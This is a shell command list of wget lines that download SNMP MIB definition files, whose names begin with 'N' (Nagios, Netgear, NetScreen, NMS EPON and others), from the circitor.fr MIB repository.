wget http://www.circitor.fr/Mibs/Mib/N/NAGIOS-ROOT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NAI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NAS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NAT-TC.mib
wget http://www.circitor.fr/Mibs/Mib/N/NAT.mib
wget http://www.circitor.fr/Mibs/Mib/N/NATEKS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NATV2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NB30MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBASE-EXP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBASE-G1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBFLT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-CMMC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-CMMCENUM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-CONNECTIVITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-EFM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-EUSM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-FAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-FEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-FECPM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-JUMPER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-META-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-NTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-OBA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-ODSYS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-OPTIC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-OSA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-OTNOH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-OTNPM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-PART-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-PRBS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-REDUNDANCY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-ROADM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-SFF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-SIGCOND-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-SIGLANE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-SLA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-STATS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-SYSCOMM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-SYSLOG-SERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-TRAPCONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-TUNABLE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-USER-SESSION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NBS-VLAN-FWD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NCD-MIB-1.mib
wget http://www.circitor.fr/Mibs/Mib/N/NCDCHASS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NCR-CORESST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NCR-CORESSTCOMMSLOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NCR-CORESSTSWARELOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NCR-CORESSTSYSTEMLOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NCRBSC-OPT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NConsole-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/ND020-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NE-STAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NEC-IP-PBX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NEMO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NEOTERIS-IVE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NET-SNMP-AGENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NET-SNMP-EXAMPLES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NET-SNMP-EXTEND-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NET-SNMP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NET-SNMP-MONITOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NET-SNMP-PASS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NET-SNMP-PERIODIC-NOTIFY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NET-SNMP-SYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NET-SNMP-TC.mib
wget http://www.circitor.fr/Mibs/Mib/N/NET-SNMP-VACM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETAL-PRODUCTS.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETAL-SMI.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETAPP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETASQ-ALARM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETASQ-AUTHUSERS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETASQ-HOSTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETASQ-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETASQ-PROPERTY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETASQ-SMI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETASQ-VPNSA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETBOTZ-DEVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETBOTZ-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETBOTZ-PRD-BOT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETBOTZ-PRD-CRL-MIB2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETBOTZ-PRD-CRL-MIB2TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETBOTZ-PRODUCTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETBOTZ-SNMP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETBOTZ300-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETBOTZ320-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETBOTZ410-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETBOTZV2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETCOM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETCOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETEXEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETFINITYMANAGER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETFINITYSERVICES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETFLOW-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-DENIALOFSERVICE-PRIVATE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-DHCPSERVER-PRIVATE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-DNS-RESOLVER-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-DOT1X-ADVANCED-FEATURES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-INVENTORY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-KEYING-PRIVATE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-LOGGING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-ME-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-MGMT-SECURITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-OUTBOUNDTELNET-PRIVATE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-PORTSECURITY-PRIVATE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-POWER-ETHERNET-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-QOS-ACL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-QOS-BW-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-QOS-COS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-QOS-DIFFSERV-EXTENSIONS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-QOS-DIFFSERV-PRIVATE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-RADIUS-AUTH-CLIENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-REF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-ROUTING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-SNTP-CLIENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETGEAR-SWITCHING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETI-CHMGR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETI-COMMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETI-CONFIG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETI-DTM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETI-ETH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETI-EVENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETI-EVT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETI-ITS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETI-PM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETI-TRUNK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETI-VAS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETLINK-SPECIFIC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETONIX-SWITCH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETOPIA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETRANGER.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETREALITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCAPE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-ADDR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-BGP4-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-CERTIFICATE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-CHASSIS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-IDS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-INTERFACE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-IP-ARP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-IPPOOL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-NAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-NSRP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-OSPF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-OSPF-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-POLICY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-PRODUCTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-RESOURCE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-RIPv2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SCHEDULE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SERVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SET-ADMIN-USR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SET-AUTH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SET-DHCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SET-DNS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SET-EMAIL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SET-GEN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SET-GLB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SET-LOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SET-SNMP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SET-SYSTIME-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SET-URL-FILTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SET-WEB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-SMI.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-UAC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-USER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VPN-GATEWAY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VPN-IAS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VPN-IKE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VPN-L2TP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VPN-MANUAL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VPN-MON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VPN-MON-SA-COUNT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VPN-PHASEONE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VPN-PHASETWO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VPN-USER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VR-BGP4-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VR-OSPF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VR-RIPv2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-VSYS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSCREEN-ZONE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSTAR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSWITCH-DMA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSWITCH-DRIVERS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETSWITCH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETWORK-ALCHEMY-CLUSTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETWORK-ALCHEMY-CONFIG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETWORK-ALCHEMY-HARDWARE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETWORK-ALCHEMY-IPSEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETWORK-ALCHEMY-VPN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETWORK-APPLIANCE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETWORK-DIAGS.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETWORK-SERVICES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETWORK-TECHNOLOGIES-GLOBAL-REG.mib
wget http://www.circitor.fr/Mibs/Mib/N/NETWORTH-FASTPIPES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NEWBRIDGE-DEVICE-IDS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NEWEXPOSE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NEWOAK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NEXANS-BM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NEXANS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NEXTNET-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NFSMON-SUNMANAGEMENTCENTER-MIB2.mib
wget http://www.circitor.fr/Mibs/Mib/N/NFSSTAT-SUNMANAGEMENTCENTER-MIB2.mib
wget http://www.circitor.fr/Mibs/Mib/N/NGDSL-LINE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NGDSL-LINE-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NGWASYNC.mib
wget http://www.circitor.fr/Mibs/Mib/N/NGWX400MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NHDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NHRP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NIMBLE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NIMBLE-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NLB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NLS-BBNIDENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NLS-BBNSTATE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NLSBBN-TRAPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NLSP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-1705.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-553-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-ACCOUNTING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-ACL-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-AUTHENTICATION-TRAP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-CARD-OPERATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-CARD-SYS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-CFGAPP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-CHASSIS.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-CONFIG-MGMT.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-DHCP-SERVER-LEASE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-DHCP-SERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-DHCP-SNOOPING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EAPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-EOC-COMM.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-EOC-CONF.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-EOC-SLAVE.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-EOC-TRAP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-LLID-ONU-BIND.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-LLID-QOS-POLICY.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-LLID-TRAP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-LLID.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-OAM-REMOTE-LOOPBACK.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-OLT-CHIP-INFO.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-OLT-CHIP-STATUS-TRAP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-OLT-MAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-OLT-MULTICAST-FORWARD.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-OLT-MULTICAST-VLAN.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-OLT-NNI.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-OLT-PON-EXT.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-OLT-PON.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-OLT-PSG.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-OLT-SLOT.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-BATCH-CONFIG.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-BATCH-UPDATE.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-IF-STATS.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-IF-TRAP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-INTERFACE.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-MULTICAST-VLAN.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-OPTICAL-PARAM-ALARM-SET.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-PARAM.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-QOS-POLICY.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-REMOTE-SERVER-INFO.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-RESET.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-SERIAL-PORT.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-SERIAL-TRAP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-STATIC-MAC.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-TRAP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-UNI-IF-ACL-APP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-UNI-QOS-POLICY.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU-VLAN.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-ONU.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-PON-ILLEAGL-REG-TRAP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-PON-QOS-POLICY.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-EPON-TFTP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-ERPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-ETHERRING.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-FAN-TRAP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-FILTER-TRAP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-FLASH.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-GBSC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-HAL-GLOBAL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-HAL-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-HAL-TRAP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-IEEE8023-LAG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-IF-APP-POLICY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-IF-QOS-POLICY.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-IF-THRESHOLD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-INTERFACE-EXT.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-INTERFACES.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-IP-ADDRESS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-IPAcl.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-IPSLA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-L2-PROTOCOL-TUNNEL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-LLDP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-LOG-SERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-LOOPBACK-DETECT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-MAC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-MEAPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-MEMORY-POOL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-MacAcl.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-NAT.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-NTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-OPTICAL-PORT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-POE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-POWER-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-POWER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-PROCESS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-PTN-ALARM.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-PVLAN-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-QOS-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-QOS-PIB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-QOS-QUEUE.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-R-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-REMOTE-PING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-ROUTING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-SERIAL.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-SMI.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-SNMP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-SNTP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-STP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-SWITCH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-SYS-TRAP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-SYS.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-TC.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-TS.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-VLAN-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-WAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS-WLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS510-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMS520-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NMSTRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNC-ATM-CONGESTIONSTATISTICS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNC-ATM-PROTOSTATISTICS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNC-ATM-STATISTICS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNC-EXT-PM-STATISTICS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNC-INTERVAL-STATISTICS-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNC-NOTIFICATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNC-PKT-STATISTICS-MIB.mib
